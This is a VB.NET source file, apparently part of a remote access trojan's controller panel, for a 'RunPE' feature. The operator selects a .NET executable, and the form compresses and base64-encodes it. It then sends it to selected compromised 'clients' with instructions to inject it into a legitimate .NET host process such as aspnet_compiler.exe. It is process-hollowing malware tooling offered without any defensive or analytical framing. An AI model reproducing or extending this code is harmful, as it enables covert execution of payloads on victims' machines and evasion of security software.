64 lines
2.3 KiB
VB.net
64 lines
2.3 KiB
VB.net
Imports System.Threading
|
|
Public Class RunPE
|
|
|
|
Dim v4 As String = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\"
|
|
Dim v2 As String = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\"
|
|
|
|
Public File As Byte()
|
|
Public Net As String
|
|
Private Sub RunPE_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
Guna2ComboBox1.Text = "v4.0"
|
|
Guna2ComboBox2.Text = "aspnet_compiler.exe"
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
|
Close()
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
|
Try
|
|
|
|
Dim o As New OpenFileDialog
|
|
With o
|
|
.Filter = "(*.exe)|*.exe"
|
|
.Title = "Select .Net File"
|
|
End With
|
|
|
|
If o.ShowDialog = DialogResult.OK Then
|
|
Try
|
|
System.Reflection.Assembly.LoadFile(o.FileName).EntryPoint.GetParameters()
|
|
Catch
|
|
MessageBox.Show(o.FileName, "Is Not A .NET Assembly")
|
|
Return
|
|
End Try
|
|
|
|
File = Compress(IO.File.ReadAllBytes(o.FileName))
|
|
|
|
End If
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
|
If Guna2ComboBox1.Text = "v4.0" Then
|
|
Net = v4
|
|
End If
|
|
If Guna2ComboBox1.Text = "v2.0" Then
|
|
Net = v2
|
|
End If
|
|
Try
|
|
If File Is Nothing Then
|
|
Else
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\RunPE.dll") & SettingsHelper.SPL & Net & Guna2ComboBox2.Text & SettingsHelper.SPL & Convert.ToBase64String(File))
|
|
For Each C As Client In Main.GetSelectedClients
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
MessageBox.Show("DONE!")
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
End Class |